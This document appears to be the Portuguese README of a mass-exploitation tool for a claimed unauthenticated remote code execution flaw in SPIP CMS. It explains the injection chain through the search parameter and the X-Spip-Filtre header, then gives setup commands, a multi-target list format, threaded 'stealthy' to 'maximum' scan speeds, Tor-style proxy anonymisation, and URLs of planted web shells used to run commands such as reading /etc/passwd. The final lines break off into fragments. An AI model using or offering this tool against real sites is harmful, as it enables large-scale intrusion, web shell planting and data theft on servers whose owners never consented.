
SPIP anterior à 4.4.20 permite que atacantes remotos não autenticados executem código arbitrário
SPIP anterior a 4.4.20 permite que atacantes remotos não autenticados executem código arbitrário
Execução Remota de Código Pré-Autenticação no SPIP CMS — Todas as Versões Anteriores a 4.4.20
CVE-2026-77647 é uma vulnerabilidade crítica de execução remota de código (RCE) não autenticada que afeta todas as versões do SPIP CMS anteriores à 4.4.20.
A falha permite que um atacante remoto — sem qualquer autenticação ou interação do usuário — execute código PHP arbitrário no servidor alvo. Ela foi ativamente explorada em ambiente real a partir de agosto de 2026, o que levou a equipe do SPIP a lançar um patch emergencial.
Esta ferramenta automatiza a detecção e a exploração desta vulnerabilidade em múltiplos alvos, com concorrência configurável.
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-77647 |
| Software Afetado | SPIP CMS |
| Versões Afetadas | Todas as versões anteriores a 4.4.20 |
| Tipo | Execução Remota de Código (RCE) Não Autenticada |
| CWE | CWE-94 — Controle Impróprio da Geração de Código (Injeção de Código) |
| Pontuação CVSS 3.1 | 9.8 / 10 — CRÍTICA |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhuma necessária (Pré-Autenticação) |
| Exploração | Ativamente explorada em ambiente real (agosto de 2026) |
| Patch | SPIP 4.4.20 (Aviso) |
| Métrica | Valor | Significado |
|---|---|---|
| Vetor de Ataque | Rede | Explorável remotamente pela internet |
| Complexidade do Ataque | Baixa | Nenhuma condição especial necessária |
| Privilégios Necessários | Nenhum | Nenhuma autenticação necessária |
| Interação do Usuário | Nenhuma | Nenhuma ação da vítima necessária |
| Escopo | Inalterado | Impacto limitado ao sistema vulnerável |
| Confidencialidade | Alta | Acesso total de leitura a todos os dados |
| Integridade | Alta | Acesso total de escrita / modificação |
| Disponibilidade | Alta | Negação de serviço completa possível |
A vulnerabilidade decorre de dois problemas que interagem no mecanismo de templates do SPIP:
Identificação incorreta de blocos <?php — o mecanismo de templates do SPIP falha em sanitizar adequadamente as tags de abertura de PHP dentro de entradas controladas pelo usuário, especificamente no parâmetro de busca (recherche).
Tratamento inadequado do var_export — a função var_export() do PHP trata incorretamente certos casos extremos, particularmente quando a entrada contém o caractere <, permitindo a injeção de código PHP executável.
User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval
O atacante envia um payload especialmente construído através da funcionalidade de busca do SPIP (?page=recherche&recherche=PAYLOAD). O payload abusa do mecanismo do cabeçalho HTTP X-Spip-Filtre para acionar html_entity_decode, que decodifica o código PHP injetado. O código decodificado é então avaliado pelo mecanismo de renderização de templates do SPIP, alcançando execução arbitrária de código.
┌──────────────────────┐
│ Attacker Machine │
└──────────┬───────────┘
│
│ GET /spip.php?page=recherche&recherche=<PAYLOAD>
▼
┌──────────────────────┐
│ SPIP Application │
│ │
│ 1. Receives search │
│ 2. var_export() │──── Mishandles '<' character
│ 3. X-Spip-Filtre │──── html_entity_decode
│ 4. Template eval │──── Executes injected PHP
│ │
└──────────┬───────────┘
│
│ file_put_contents() → PHP Web Shell
▼
┌──────────────────────┐
│ Web Shell Active │
│ Full RCE Achieved │
└──────────────────────┘
git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests
Crie um arquivo chamado list.txt (ou qualquer nome personalizado) com um alvo por linha:
https://target1.com
https://target2.com
http://192.168.1.100
target3.com
Nota: Alvos sem um esquema (
http://ouhttps://) usarãohttp://por padrão.
python CVE-2026-77647.py
A ferramenta solicitará que você informe:
[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
| Velocidade | Threads | Timeout | Perfil |
|---|---|---|---|
1 — Lento | 5 | 25s | 🔇 Furtivo |
2 — Normal | 10 | 15s | ⚖️ Equilibrado |
3 — Rápido | 25 | 12s | ⚡ Agressivo |
4 — Ultra | 50 | 10s | 🔥 Máximo |
[?] Proxy (blank = none): socks5://127.0.0.1:9050
Suporta proxies HTTP/HTTPS/SOCKS para anonimização.
Os resultados bem-sucedidos são salvos em shells.txt:
https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk
Execução de Comandos:
https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd
Interface de Upload de Arquivos:
https://target.com/Nx_.php?k=nXk
Composed-By e fingerprinting de páginaIMG/, tmp/ e local/